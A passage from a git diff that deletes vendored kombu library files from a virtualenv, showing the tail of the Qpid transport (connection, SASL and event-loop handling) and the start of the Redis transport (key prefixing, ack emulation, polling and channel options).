exception type, but - instead raises a ConnectionError with a message that indicates an - authentication failure occurred in those situations. - ConnectionError is listed as a recoverable error type, so kombu - will attempt to retry if a ConnectionError is raised. Retrying - the operation without adjusting the credentials is not correct, - so this method specifically checks for a ConnectionError that - indicates an Authentication Failure occurred. In those - situations, the error type is mutated while preserving the - original message and raised so kombu will allow the exception to - not be considered recoverable. - - - A connection object is created by a - :class:`~kombu.transport.qpid.Transport` during a call to - :meth:`~kombu.transport.qpid.Transport.establish_connection`. The - :class:`~kombu.transport.qpid.Transport` passes in - connection options as keywords that should be used for any connections - created. Each :class:`~kombu.transport.qpid.Transport` creates exactly - one Connection. - - A Connection object maintains a reference to a - :class:`~qpid.messaging.endpoints.Connection` which can be accessed - through a bound getter method named :meth:`get_qpid_connection` method. - Each Channel uses a the Connection for each - :class:`~qpidtoollibs.BrokerAgent`, and the Transport maintains a session - for all senders and receivers. - - The Connection object is also responsible for maintaining the - dictionary of references to callbacks that should be called when - messages are received. These callbacks are saved in _callbacks, - and keyed on the queue name associated with the received message. The - _callbacks are setup in :meth:`Channel.basic_consume`, removed in - :meth:`Channel.basic_cancel`, and called in - :meth:`Transport.drain_events`. - - The following keys are expected to be passed in as keyword arguments - at a minimum: - - All keyword arguments are collected into the connection_options dict - and passed directly through to - :meth:`qpid.messaging.endpoints.Connection.establish`. - - """ - - # A class reference to the :class:`Channel` object - Channel = Channel - - def __init__(self, **connection_options): - self.connection_options = connection_options - self.channels = [] - self._callbacks = {} - self._qpid_conn = None - establish = qpid.messaging.Connection.establish - - # There are several inconsistent behaviors in the sasl libraries - # used on different systems. Although qpid.messaging allows - # multiple space separated sasl mechanisms, this implementation - # only advertises one type to the server. These are either - # ANONYMOUS, PLAIN, or an overridden value specified by the user. - - sasl_mech = connection_options['sasl_mechanisms'] - - try: - msg = _('Attempting to connect to qpid with ' - 'SASL mechanism %s') % sasl_mech - logger.debug(msg) - self._qpid_conn = establish(**self.connection_options) - # connection was successful if we got this far - msg = _('Connected to qpid with SASL ' - 'mechanism %s') % sasl_mech - logger.info(msg) - except ConnectionError as conn_exc: - # if we get one of these errors, do not raise an exception. - # Raising will cause the connection to be retried. Instead, - # just continue on to the next mech. - coded_as_auth_failure = getattr(conn_exc, 'code', None) == 320 - contains_auth_fail_text = \ - 'Authentication failed' in conn_exc.text - contains_mech_fail_text = \ - 'sasl negotiation failed: no mechanism agreed' \ - in conn_exc.text - contains_mech_unavail_text = 'no mechanism available' \ - in conn_exc.text - if coded_as_auth_failure or \ - contains_auth_fail_text or contains_mech_fail_text or \ - contains_mech_unavail_text: - msg = _('Unable to connect to qpid with SASL ' - 'mechanism %s') % sasl_mech - logger.error(msg) - raise AuthenticationFailure(sys.exc_info()[1]) - raise - - def get_qpid_connection(self): - """Return the existing connection (singleton). - - :return: The existing qpid.messaging.Connection - :rtype: :class:`qpid.messaging.endpoints.Connection` - - """ - return self._qpid_conn - - def close(self): - """Close the connection. - - Closing the connection will close all associated session, senders, or - receivers used by the Connection. - - """ - self._qpid_conn.close() - - def close_channel(self, channel): - """Close a Channel. - - Close a channel specified by a reference to the - :class:`~kombu.transport.qpid.Channel` object. - - :param channel: Channel that should be closed. - :type channel: :class:`~kombu.transport.qpid.Channel`. - - """ - try: - self.channels.remove(channel) - except ValueError: - pass - finally: - channel.connection = None - - -class Transport(base.Transport): - """Kombu native transport for a Qpid broker. - - Provide a native transport for Kombu that allows consumers and - producers to read and write messages to/from a broker. This Transport - is capable of supporting both synchronous and asynchronous reading. - All writes are synchronous through the :class:`Channel` objects that - support this Transport. - - Asynchronous reads are done using a call to :meth:`drain_events`, - which synchronously reads messages that were fetched asynchronously, and - then handles them through calls to the callback handlers maintained on - the :class:`Connection` object. - - The Transport also provides methods to establish and close a connection - to the broker. This Transport establishes a factory-like pattern that - allows for singleton pattern to consolidate all Connections into a single - one. - - The Transport can create :class:`Channel` objects to communicate with the - broker with using the :meth:`create_channel` method. - - The Transport identifies recoverable connection errors and recoverable - channel errors according to the Kombu 3.0 interface. These exception are - listed as tuples and store in the Transport class attribute - `recoverable_connection_errors` and `recoverable_channel_errors` - respectively. Any exception raised that is not a member of one of these - tuples is considered non-recoverable. This allows Kombu support for - automatic retry of certain operations to function correctly. - - For backwards compatibility to the pre Kombu 3.0 exception interface, the - recoverable errors are also listed as `connection_errors` and - `channel_errors`. - - """ - - # Reference to the class that should be used as the Connection object - Connection = Connection - - # This Transport does not specify a polling interval. - polling_interval = None - - # This Transport does support the Celery asynchronous event model. - implements = virtual.Transport.implements.extend( - asynchronous=True, - exchange_type=frozenset(['direct', 'topic', 'fanout']), - ) - - # The driver type and name for identification purposes. - driver_type = 'qpid' - driver_name = 'qpid' - - # Exceptions that can be recovered from, but where the connection must be - # closed and re-established first. - recoverable_connection_errors = ( - ConnectionError, - select.error, - ) - - # Exceptions that can be automatically recovered from without - # re-establishing the connection. - recoverable_channel_errors = ( - NotFound, - ) - - # Support the pre 3.0 Kombu exception labeling interface which treats - # connection_errors and channel_errors both as recoverable via a - # reconnect. - connection_errors = recoverable_connection_errors - channel_errors = recoverable_channel_errors - - def __init__(self, *args, **kwargs): - self.verify_runtime_environment() - super().__init__(*args, **kwargs) - self.use_async_interface = False - - def verify_runtime_environment(self): - """Verify that the runtime environment is acceptable. - - This method is called as part of __init__ and raises a RuntimeError - in Python3 or PyPI environments. This module is not compatible with - Python3 or PyPI. The RuntimeError identifies this to the user up - front along with suggesting Python 2.6+ be used instead. - - This method also checks that the dependencies qpidtoollibs and - qpid.messaging are installed. If either one is not installed a - RuntimeError is raised. - - :raises: RuntimeError if the runtime environment is not acceptable. - - """ - if dependency_is_none(qpidtoollibs): - raise RuntimeError( - 'The Python package "qpidtoollibs" is missing. Install it ' - 'with your package manager. You can also try `pip install ' - 'qpid-tools`.') - - if dependency_is_none(qpid): - raise RuntimeError( - 'The Python package "qpid.messaging" is missing. Install it ' - 'with your package manager. You can also try `pip install ' - 'qpid-python`.') - - def _qpid_message_ready_handler(self, session): - if self.use_async_interface: - os.write(self._w, '0') - - def _qpid_async_exception_notify_handler(self, obj_with_exception, exc): - if self.use_async_interface: - os.write(self._w, 'e') - - def on_readable(self, connection, loop): - """Handle any messages associated with this Transport. - - This method clears a single message from the externally monitored - file descriptor by issuing a read call to the self.r file descriptor - which removes a single '0' character that was placed into the pipe - by the Qpid session message callback handler. Once a '0' is read, - all available events are drained through a call to - :meth:`drain_events`. - - The file descriptor self.r is modified to be non-blocking, ensuring - that an accidental call to this method when no more messages will - not cause indefinite blocking. - - Nothing is expected to be returned from :meth:`drain_events` because - :meth:`drain_events` handles messages by calling callbacks that are - maintained on the :class:`~kombu.transport.qpid.Connection` object. - When :meth:`drain_events` returns, all associated messages have been - handled. - - This method calls drain_events() which reads as many messages as are - available for this Transport, and then returns. It blocks in the - sense that reading and handling a large number of messages may take - time, but it does not block waiting for a new message to arrive. When - :meth:`drain_events` is called a timeout is not specified, which - causes this behavior. - - One interesting behavior of note is where multiple messages are - ready, and this method removes a single '0' character from - self.r, but :meth:`drain_events` may handle an arbitrary amount of - messages. In that case, extra '0' characters may be left on self.r - to be read, where messages corresponding with those '0' characters - have already been handled. The external epoll loop will incorrectly - think additional data is ready for reading, and will call - on_readable unnecessarily, once for each '0' to be read. Additional - calls to :meth:`on_readable` produce no negative side effects, - and will eventually clear out the symbols from the self.r file - descriptor. If new messages show up during this draining period, - they will also be properly handled. - - :param connection: The connection associated with the readable - events, which contains the callbacks that need to be called for - the readable objects. - :type connection: kombu.transport.qpid.Connection - :param loop: The asynchronous loop object that contains epoll like - functionality. - :type loop: kombu.asynchronous.Hub - - """ - os.read(self.r, 1) - try: - self.drain_events(connection) - except socket.timeout: - pass - - def register_with_event_loop(self, connection, loop): - """Register a file descriptor and callback with the loop. - - Register the callback self.on_readable to be called when an - external epoll loop sees that the file descriptor registered is - ready for reading. The file descriptor is created by this Transport, - and is written to when a message is available. - - Because supports_ev == True, Celery expects to call this method to - give the Transport an opportunity to register a read file descriptor - for external monitoring by celery using an Event I/O notification - mechanism such as epoll. A callback is also registered that is to - be called once the external epoll loop is ready to handle the epoll - event associated with messages that are ready to be handled for - this Transport. - - The registration call is made exactly once per Transport after the - Transport is instantiated. - - :param connection: A reference to the connection associated with - this Transport. - :type connection: kombu.transport.qpid.Connection - :param loop: A reference to the external loop. - :type loop: kombu.asynchronous.hub.Hub - - """ - self.r, self._w = os.pipe() - if fcntl is not None: - fcntl.fcntl(self.r, fcntl.F_SETFL, os.O_NONBLOCK) - self.use_async_interface = True - loop.add_reader(self.r, self.on_readable, connection, loop) - - def establish_connection(self): - """Establish a Connection object. - - Determines the correct options to use when creating any - connections needed by this Transport, and create a - :class:`Connection` object which saves those values for - connections generated as they are needed. The options are a - mixture of what is passed in through the creator of the - Transport, and the defaults provided by - :meth:`default_connection_params`. Options cover broker network - settings, timeout behaviors, authentication, and identity - verification settings. - - This method also creates and stores a - :class:`~qpid.messaging.endpoints.Session` using the - :class:`~qpid.messaging.endpoints.Connection` created by this - method. The Session is stored on self. - - :return: The created :class:`Connection` object is returned. - :rtype: :class:`Connection` - - """ - conninfo = self.client - for name, default_value in self.default_connection_params.items(): - if not getattr(conninfo, name, None): - setattr(conninfo, name, default_value) - if conninfo.ssl: - conninfo.qpid_transport = 'ssl' - conninfo.transport_options['ssl_keyfile'] = conninfo.ssl[ - 'keyfile'] - conninfo.transport_options['ssl_certfile'] = conninfo.ssl[ - 'certfile'] - conninfo.transport_options['ssl_trustfile'] = conninfo.ssl[ - 'ca_certs'] - if conninfo.ssl['cert_reqs'] == ssl.CERT_REQUIRED: - conninfo.transport_options['ssl_skip_hostname_check'] = False - else: - conninfo.transport_options['ssl_skip_hostname_check'] = True - else: - conninfo.qpid_transport = 'tcp' - - credentials = {} - if conninfo.login_method is None: - if conninfo.userid is not None and conninfo.password is not None: - sasl_mech = 'PLAIN' - credentials['username'] = conninfo.userid - credentials['password'] = conninfo.password - elif conninfo.userid is None and conninfo.password is not None: - raise Exception( - 'Password configured but no username. SASL PLAIN ' - 'requires a username when using a password.') - elif conninfo.userid is not None and conninfo.password is None: - raise Exception( - 'Username configured but no password. SASL PLAIN ' - 'requires a password when using a username.') - else: - sasl_mech = 'ANONYMOUS' - else: - sasl_mech = conninfo.login_method - if conninfo.userid is not None: - credentials['username'] = conninfo.userid - - opts = { - 'host': conninfo.hostname, - 'port': conninfo.port, - 'sasl_mechanisms': sasl_mech, - 'timeout': conninfo.connect_timeout, - 'transport': conninfo.qpid_transport - } - - opts.update(credentials) - opts.update(conninfo.transport_options) - - conn = self.Connection(**opts) - conn.client = self.client - self.session = conn.get_qpid_connection().session() - self.session.set_message_received_notify_handler( - self._qpid_message_ready_handler - ) - conn.get_qpid_connection().set_async_exception_notify_handler( - self._qpid_async_exception_notify_handler - ) - self.session.set_async_exception_notify_handler( - self._qpid_async_exception_notify_handler - ) - return conn - - def close_connection(self, connection): - """Close the :class:`Connection` object. - - :param connection: The Connection that should be closed. - :type connection: :class:`kombu.transport.qpid.Connection` - - """ - connection.close() - - def drain_events(self, connection, timeout=0, **kwargs): - """Handle and call callbacks for all ready Transport messages. - - Drains all events that are ready from all - :class:`~qpid.messaging.endpoints.Receiver` that are asynchronously - fetching messages. - - For each drained message, the message is called to the appropriate - callback. Callbacks are organized by queue name. - - :param connection: The :class:`~kombu.transport.qpid.Connection` that - contains the callbacks, indexed by queue name, which will be called - by this method. - :type connection: kombu.transport.qpid.Connection - :keyword timeout: The timeout that limits how long this method will - run for. The timeout could interrupt a blocking read that is - waiting for a new message, or cause this method to return before - all messages are drained. Defaults to 0. - :type timeout: int - - """ - start_time = monotonic() - elapsed_time = -1 - while elapsed_time < timeout: - try: - receiver = self.session.next_receiver(timeout=timeout) - message = receiver.fetch() - queue = receiver.source - except QpidEmpty: - raise socket.timeout() - else: - connection._callbacks[queue](message) - elapsed_time = monotonic() - start_time - raise socket.timeout() - - def create_channel(self, connection): - """Create and return a :class:`~kombu.transport.qpid.Channel`. - - Creates a new channel, and appends the channel to the - list of channels known by the Connection. Once the new - channel is created, it is returned. - - :param connection: The connection that should support the new - :class:`~kombu.transport.qpid.Channel`. - :type connection: kombu.transport.qpid.Connection - - :return: The new Channel that is made. - :rtype: :class:`kombu.transport.qpid.Channel`. - - """ - channel = connection.Channel(connection, self) - connection.channels.append(channel) - return channel - - @property - def default_connection_params(self): - """Return a dict with default connection parameters. - - These connection parameters will be used whenever the creator of - Transport does not specify a required parameter. - - :return: A dict containing the default parameters. - :rtype: dict - - """ - return { - 'hostname': 'localhost', - 'port': 5672, - } - - def __del__(self): - """Ensure file descriptors opened in __init__() are closed.""" - if getattr(self, 'use_async_interface', False): - for fd in (self.r, self._w): - try: - os.close(fd) - except OSError: - # ignored - pass diff --git a/venv/Lib/site-packages/kombu/transport/redis.py b/venv/Lib/site-packages/kombu/transport/redis.py deleted file mode 100644 index 2a10253ba0a17e62d9e3fc5288f23b6901b89e37..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/redis.py +++ /dev/null @@ -1,1501 +0,0 @@ -"""Redis transport module for Kombu. - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: Yes -* Supports Priority: Yes -* Supports TTL: No - -Connection String -================= -Connection string has the following format: - -.. code-block:: - - redis://[USER:PASSWORD@]REDIS_ADDRESS[:PORT][/VIRTUALHOST] - rediss://[USER:PASSWORD@]REDIS_ADDRESS[:PORT][/VIRTUALHOST] - -To use sentinel for dynamic Redis discovery, -the connection string has following format: - -.. code-block:: - - sentinel://[USER:PASSWORD@]SENTINEL_ADDRESS[:PORT] - -Transport Options -================= -* ``sep`` -* ``ack_emulation``: (bool) If set to True transport will - simulate Acknowledge of AMQP protocol. -* ``unacked_key`` -* ``unacked_index_key`` -* ``unacked_mutex_key`` -* ``unacked_mutex_expire`` -* ``visibility_timeout`` -* ``unacked_restore_limit`` -* ``fanout_prefix`` -* ``fanout_patterns`` -* ``global_keyprefix``: (str) The global key prefix to be prepended to all keys - used by Kombu -* ``socket_timeout`` -* ``socket_connect_timeout`` -* ``socket_keepalive`` -* ``socket_keepalive_options`` -* ``queue_order_strategy`` -* ``max_connections`` -* ``health_check_interval`` -* ``retry_on_timeout`` -* ``priority_steps`` -* ``client_name``: (str) The name to use when connecting to Redis server. -""" - -from __future__ import annotations - -import functools -import numbers -import socket -from bisect import bisect -from collections import namedtuple -from contextlib import contextmanager -from importlib.metadata import version -from queue import Empty -from time import time - -from packaging.version import Version -from vine import promise - -from kombu.exceptions import InconsistencyError, VersionMismatch -from kombu.log import get_logger -from kombu.utils import symbol_by_name -from kombu.utils.compat import register_after_fork -from kombu.utils.encoding import bytes_to_str -from kombu.utils.eventio import ERR, READ, poll -from kombu.utils.functional import accepts_argument -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property -from kombu.utils.scheduling import cycle_by_name -from kombu.utils.url import _parse_url - -from . import virtual - -try: - import redis - _REDIS_GET_CONNECTION_WITHOUT_ARGS = Version(version("redis")) >= Version("5.3.0") -except ImportError: # pragma: no cover - redis = None - _REDIS_GET_CONNECTION_WITHOUT_ARGS = None - -try: - from redis import CredentialProvider, sentinel -except ImportError: # pragma: no cover - sentinel = None - CredentialProvider = None - - -logger = get_logger('kombu.transport.redis') -crit, warning = logger.critical, logger.warning - -DEFAULT_PORT = 6379 -DEFAULT_DB = 0 - -DEFAULT_HEALTH_CHECK_INTERVAL = 25 - -PRIORITY_STEPS = [0, 3, 6, 9] - -error_classes_t = namedtuple('error_classes_t', ( - 'connection_errors', 'channel_errors', -)) - - -# This implementation may seem overly complex, but I assure you there is -# a good reason for doing it this way. -# -# Consuming from several connections enables us to emulate channels, -# which means we can have different service guarantees for individual -# channels. -# -# So we need to consume messages from multiple connections simultaneously, -# and using epoll means we don't have to do so using multiple threads. -# -# Also it means we can easily use PUBLISH/SUBSCRIBE to do fanout -# exchanges (broadcast), as an alternative to pushing messages to fanout-bound -# queues manually. - - -def get_redis_error_classes(): - """Return tuple of redis error classes.""" - from redis import exceptions - - # This exception suddenly changed name between redis-py versions - if hasattr(exceptions, 'InvalidData'): - DataError = exceptions.InvalidData - else: - DataError = exceptions.DataError - return error_classes_t( - (virtual.Transport.connection_errors + ( - InconsistencyError, - socket.error, - IOError, - OSError, - exceptions.ConnectionError, - exceptions.BusyLoadingError, - exceptions.AuthenticationError, - exceptions.TimeoutError)), - (virtual.Transport.channel_errors + ( - DataError, - exceptions.InvalidResponse, - exceptions.ResponseError)), - ) - - -def get_redis_ConnectionError(): - """Return the redis ConnectionError exception class.""" - from redis import exceptions - return exceptions.ConnectionError - - -class MutexHeld(Exception): - """Raised when another party holds the lock.""" - - -@contextmanager -def Mutex(client, name, expire): - """Acquire redis lock in non blocking way. - - Raise MutexHeld if not successful. - """ - lock = client.lock(name, timeout=expire) - lock_acquired = False - try: - lock_acquired = lock.acquire(blocking=False) - if lock_acquired: - yield - else: - raise MutexHeld() - finally: - if lock_acquired: - try: - lock.release() - except redis.exceptions.LockNotOwnedError: - # when lock is expired - pass - - -def _after_fork_cleanup_channel(channel): - channel._after_fork() - - -class GlobalKeyPrefixMixin: - """Mixin to provide common logic for global key prefixing. - - Overriding all the methods used by Kombu with the same key prefixing logic - would be cumbersome and inefficient. Hence, we override the command - execution logic that is called by all commands. - """ - - PREFIXED_SIMPLE_COMMANDS = [ - "HDEL", - "HGET", - "HLEN", - "HSET", - "LLEN", - "LPUSH", - "PUBLISH", - "RPUSH", - "RPOP", - "SADD", - "SREM", - "SET", - "SMEMBERS", - "ZADD", - "ZREM", - "ZREVRANGEBYSCORE", - ] - - PREFIXED_COMPLEX_COMMANDS = { - "DEL": {"args_start": 0, "args_end": None}, - "BRPOP": {"args_start": 0, "args_end": -1}, - "EVALSHA": {"args_start": 2, "args_end": 3}, - "WATCH": {"args_start": 0, "args_end": None}, - } - - def _prefix_args(self, args): - args = list(args) - command = args.pop(0) - - if command in self.PREFIXED_SIMPLE_COMMANDS: - args[0] = self.global_keyprefix + str(args[0]) - elif command in self.PREFIXED_COMPLEX_COMMANDS: - args_start = self.PREFIXED_COMPLEX_COMMANDS[command]["args_start"] - args_end = self.PREFIXED_COMPLEX_COMMANDS[command]["args_end"] - - pre_args = args[:args_start] if args_start > 0 else [] - post_args = [] - - if args_end is not None: - post_args = args[args_end:] - - args = pre_args + [ - self.global_keyprefix + str(arg) - for arg in args[args_start:args_end] - ] + post_args - - return [command, *args] - - def parse_response(self, connection, command_name, **options): - """Parse a response from the Redis server. - - Method wraps ``redis.parse_response()`` to remove prefixes of keys - returned by redis command. - """ - ret = super().parse_response(connection, command_name, **options) - if command_name == 'BRPOP' and ret: - key, value = ret - key = key[len(self.global_keyprefix):] - return key, value - return ret - - def execute_command(self, *args, **kwargs): - return super().execute_command(*self._prefix_args(args), **kwargs) - - def pipeline(self, transaction=True, shard_hint=None): - return PrefixedRedisPipeline( - self.connection_pool, - self.response_callbacks, - transaction, - shard_hint, - global_keyprefix=self.global_keyprefix, - ) - - -class PrefixedStrictRedis(GlobalKeyPrefixMixin, redis.Redis): - """Returns a ``StrictRedis`` client that prefixes the keys it uses.""" - - def __init__(self, *args, **kwargs): - self.global_keyprefix = kwargs.pop('global_keyprefix', '') - redis.Redis.__init__(self, *args, **kwargs) - - def pubsub(self, **kwargs): - return PrefixedRedisPubSub( - self.connection_pool, - global_keyprefix=self.global_keyprefix, - **kwargs, - ) - - -class PrefixedRedisPipeline(GlobalKeyPrefixMixin, redis.client.Pipeline): - """Custom Redis pipeline that takes global_keyprefix into consideration. - - As the ``PrefixedStrictRedis`` client uses the `global_keyprefix` to prefix - the keys it uses, the pipeline called by the client must be able to prefix - the keys as well. - """ - - def __init__(self, *args, **kwargs): - self.global_keyprefix = kwargs.pop('global_keyprefix', '') - redis.client.Pipeline.__init__(self, *args, **kwargs) - - -class PrefixedRedisPubSub(redis.client.PubSub): - """Redis pubsub client that takes global_keyprefix into consideration.""" - - PUBSUB_COMMANDS = ( - "SUBSCRIBE", - "UNSUBSCRIBE", - "PSUBSCRIBE", - "PUNSUBSCRIBE", - ) - - def __init__(self, *args, **kwargs): - self.global_keyprefix = kwargs.pop('global_keyprefix', '') - super().__init__(*args, **kwargs) - - def _prefix_args(self, args): - args = list(args) - command = args.pop(0) - - if command in self.PUBSUB_COMMANDS: - args = [ - self.global_keyprefix + str(arg) - for arg in args - ] - - return [command, *args] - - def parse_response(self, *args, **kwargs): - """Parse a response from the Redis server. - - Method wraps ``PubSub.parse_response()`` to remove prefixes of keys - returned by redis command. - """ - ret = super().parse_response(*args, **kwargs) - if ret is None: - return ret - - # response formats - # SUBSCRIBE and UNSUBSCRIBE - # -> [message type, channel, message] - # PSUBSCRIBE and PUNSUBSCRIBE - # -> [message type, pattern, channel, message] - message_type, *channels, message = ret - return [ - message_type, - *[channel[len(self.global_keyprefix):] for channel in channels], - message, - ] - - def execute_command(self, *args, **kwargs): - return super().execute_command(*self._prefix_args(args), **kwargs) - - -class QoS(virtual.QoS): - """Redis Ack Emulation.""" - - restore_at_shutdown = True - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self._vrestore_count = 0 - - def append(self, message, delivery_tag): - delivery = message.delivery_info - EX, RK = delivery['exchange'], delivery['routing_key'] - # TODO: Remove this once we solely on Redis-py 3.0.0+ - if redis.VERSION[0] >= 3: - # Redis-py changed the format of zadd args in v3.0.0 - zadd_args = [{delivery_tag: time()}] - else: - zadd_args = [time(), delivery_tag] - - with self.pipe_or_acquire() as pipe: - pipe.zadd(self.unacked_index_key, *zadd_args) \ - .hset(self.unacked_key, delivery_tag, - dumps([message._raw, EX, RK])) \ - .execute() - super().append(message, delivery_tag) - - def restore_unacked(self, client=None): - with self.channel.conn_or_acquire(client) as client: - for tag in self._delivered: - self.restore_by_tag(tag, client=client) - self._delivered.clear() - - def ack(self, delivery_tag): - self._remove_from_indices(delivery_tag).execute() - super().ack(delivery_tag) - - def reject(self, delivery_tag, requeue=False): - if requeue: - self.restore_by_tag(delivery_tag, leftmost=True) - else: - self._remove_from_indices(delivery_tag).execute() - super().ack(delivery_tag) - - @contextmanager - def pipe_or_acquire(self, pipe=None, client=None): - if pipe: - yield pipe - else: - with self.channel.conn_or_acquire(client) as client: - yield client.pipeline() - - def _remove_from_indices(self, delivery_tag, pipe=None): - with self.pipe_or_acquire(pipe) as pipe: - return pipe.zrem(self.unacked_index_key, delivery_tag) \ - .hdel(self.unacked_key, delivery_tag) - - def restore_visible(self, start=0, num=10, interval=10): - self._vrestore_count += 1 - if (self._vrestore_count - 1) % interval: - return - with self.channel.conn_or_acquire() as client: - ceil = time() - self.visibility_timeout - try: - with Mutex(client, self.unacked_mutex_key, - self.unacked_mutex_expire): - visible = client.zrevrangebyscore( - self.unacked_index_key, ceil, 0, - start=num and start, num=num, withscores=True) - for tag, score in visible or []: - self.restore_by_tag(tag, client) - except MutexHeld: - pass - - def restore_by_tag(self, tag, client=None, leftmost=False): - - def restore_transaction(pipe): - p = pipe.hget(self.unacked_key, tag) - pipe.multi() - self._remove_from_indices(tag, pipe) - if p: - M, EX, RK = loads(bytes_to_str(p)) # json is unicode - self.channel._do_restore_message(M, EX, RK, pipe, leftmost) - - with self.channel.conn_or_acquire(client) as client: - client.transaction(restore_transaction, self.unacked_key) - - @cached_property - def unacked_key(self): - return self.channel.unacked_key - - @cached_property - def unacked_index_key(self): - return self.channel.unacked_index_key - - @cached_property - def unacked_mutex_key(self): - return self.channel.unacked_mutex_key - - @cached_property - def unacked_mutex_expire(self): - return self.channel.unacked_mutex_expire - - @cached_property - def visibility_timeout(self): - return self.channel.visibility_timeout - - -class MultiChannelPoller: - """Async I/O poller for Redis transport.""" - - eventflags = READ | ERR - - #: Set by :meth:`get` while reading from the socket. - _in_protected_read = False - - #: Set of one-shot callbacks to call after reading from socket. - after_read = None - - def __init__(self): - # active channels - self._channels = set() - # file descriptor -> channel map. - self._fd_to_chan = {} - # channel -> socket map - self._chan_to_sock = {} - # poll implementation (epoll/kqueue/select) - self.poller = poll() - # one-shot callbacks called after reading from socket. - self.after_read = set() - - def close(self): - for fd in self._chan_to_sock.values(): - try: - self.poller.unregister(fd) - except (KeyError, ValueError): - pass - self._channels.clear() - self._fd_to_chan.clear() - self._chan_to_sock.clear() - - def add(self, channel): - self._channels.add(channel) - - def discard(self, channel): - self._channels.discard(channel) - - def _on_connection_disconnect(self, connection): - try: - self.poller.unregister(connection._sock) - except (AttributeError, TypeError): - pass - - def _register(self, channel, client, type): - if (channel, client, type) in self._chan_to_sock: - self._unregister(channel, client, type) - if client.connection._sock is None: # not connected yet. - client.connection.connect() - sock = client.connection._sock - self._fd_to_chan[sock.fileno()] = (channel, type) - self._chan_to_sock[(channel, client, type)] = sock - self.poller.register(sock, self.eventflags) - - def _unregister(self, channel, client, type): - self.poller.unregister(self._chan_to_sock[(channel, client, type)]) - - def _client_registered(self, channel, client, cmd): - if getattr(client, 'connection', None) is None: - if _REDIS_GET_CONNECTION_WITHOUT_ARGS: - client.connection = client.connection_pool.get_connection() - else: - client.connection = client.connection_pool.get_connection('_') - return (client.connection._sock is not None and - (channel, client, cmd) in self._chan_to_sock) - - def _register_BRPOP(self, channel): - """Enable BRPOP mode for channel.""" - ident = channel, channel.client, 'BRPOP' - if not self._client_registered(channel, channel.client, 'BRPOP'): - channel._in_poll = False - self._register(*ident) - if not channel._in_poll: # send BRPOP - channel._brpop_start() - - def _register_LISTEN(self, channel): - """Enable LISTEN mode for channel.""" - if not self._client_registered(channel, channel.subclient, 'LISTEN'): - channel._in_listen = False - self._register(channel, channel.subclient, 'LISTEN') - if not channel._in_listen: - channel._subscribe() # send SUBSCRIBE - - def on_poll_start(self): - for channel in self._channels: - if channel.active_queues: # BRPOP mode? - if channel.qos.can_consume(): - self._register_BRPOP(channel) - if channel.active_fanout_queues: # LISTEN mode? - self._register_LISTEN(channel) - - def on_poll_init(self, poller): - self.poller = poller - for channel in self._channels: - return channel.qos.restore_visible( - num=channel.unacked_restore_limit, - ) - - def maybe_restore_messages(self): - for channel in self._channels: - if channel.active_queues: - # only need to do this once, as they are not local to channel. - return channel.qos.restore_visible( - num=channel.unacked_restore_limit, - ) - - def maybe_check_subclient_health(self): - for channel in self._channels: - # only if subclient property is cached - client = channel.__dict__.get('subclient') - if client is not None \ - and callable(getattr(client, 'check_health', None)): - client.check_health() - - def on_readable(self, fileno): - chan, type = self._fd_to_chan[fileno] - if chan.qos.can_consume(): - chan.handlers[type]() - - def handle_event(self, fileno, event): - if event & READ: - return self.on_readable(fileno), self - elif event & ERR: - chan, type = self._fd_to_chan[fileno] - chan._poll_error(type) - - def get(self, callback, timeout=None): - self._in_protected_read = True - try: - for channel in self._channels: - if channel.active_queues: # BRPOP mode? - if channel.qos.can_consume(): - self._register_BRPOP(channel) - if channel.active_fanout_queues: # LISTEN mode? - self._register_LISTEN(channel) - - events = self.poller.poll(timeout) - if events: - for fileno, event in events: - ret = self.handle_event(fileno, event) - if ret: - return - # - no new data, so try to restore messages. - # - reset active redis commands. - self.maybe_restore_messages() - raise Empty() - finally: - self._in_protected_read = False - while self.after_read: - try: - fun = self.after_read.pop() - except KeyError: - break - else: - fun() - - @property - def fds(self): - return self._fd_to_chan - - -class Channel(virtual.Channel): - """Redis Channel.""" - - QoS = QoS - - _client = None - _subclient = None - _closing = False - supports_fanout = True - keyprefix_queue = '_kombu.binding.%s' - keyprefix_fanout = '/{db}.' - sep = '\x06\x16' - _in_poll = False - _in_listen = False - _fanout_queues = {} - ack_emulation = True - unacked_key = 'unacked' - unacked_index_key = 'unacked_index' - unacked_mutex_key = 'unacked_mutex' - unacked_mutex_expire = 300 # 5 minutes - unacked_restore_limit = None - visibility_timeout = 3600 # 1 hour - priority_steps = PRIORITY_STEPS - socket_timeout = None - socket_connect_timeout = None - socket_keepalive = None - socket_keepalive_options = None - retry_on_timeout = None - max_connections = 10 - health_check_interval = DEFAULT_HEALTH_CHECK_INTERVAL - client_name = None - #: Transport option to disable fanout keyprefix. - #: Can also be string, in which case it changes the default - #: prefix ('/{db}.') into to something else. The prefix must - #: include a leading slash and a trailing dot. - #: - #: Enabled by default since Kombu 4.x. - #: Disable for backwards compatibility with Kombu 3.x. - fanout_prefix = True - - #: If enabled the fanout exchange will support patterns in routing - #: and binding keys (like a topic exchange but using PUB/SUB). - #: - #: Enabled by default since Kombu 4.x. - #: Disable for backwards compatibility with Kombu 3.x. - fanout_patterns = True - - #: The global key prefix will be prepended to all keys used - #: by Kombu, which can be useful when a redis database is shared - #: by different users. By default, no prefix is prepended. - global_keyprefix = '' - - #: Order in which we consume from queues. - #: - #: Can be either string alias, or a cycle strategy class - #: - #: - ``round_robin`` - #: (:class:`~kombu.utils.scheduling.round_robin_cycle`). - #: - #: Make sure each queue has an equal opportunity to be consumed from. - #: - #: - ``sorted`` - #: (:class:`~kombu.utils.scheduling.sorted_cycle`). - #: - #: Consume from queues in alphabetical order. - #: If the first queue in the sorted list always contains messages, - #: then the rest of the queues will never be consumed from. - #: - #: - ``priority`` - #: (:class:`~kombu.utils.scheduling.priority_cycle`). - #: - #: Consume from queues in original order, so that if the first - #: queue always contains messages, the rest of the queues - #: in the list will never be consumed from. - #: - #: The default is to consume from queues in round robin. - queue_order_strategy = 'round_robin' - - _async_pool = None - _pool = None - - from_transport_options = ( - virtual.Channel.from_transport_options + - ('sep', - 'ack_emulation', - 'unacked_key', - 'unacked_index_key', - 'unacked_mutex_key', - 'unacked_mutex_expire', - 'visibility_timeout', - 'unacked_restore_limit', - 'fanout_prefix', - 'fanout_patterns', - 'global_keyprefix', - 'socket_timeout', - 'socket_connect_timeout', - 'socket_keepalive', - 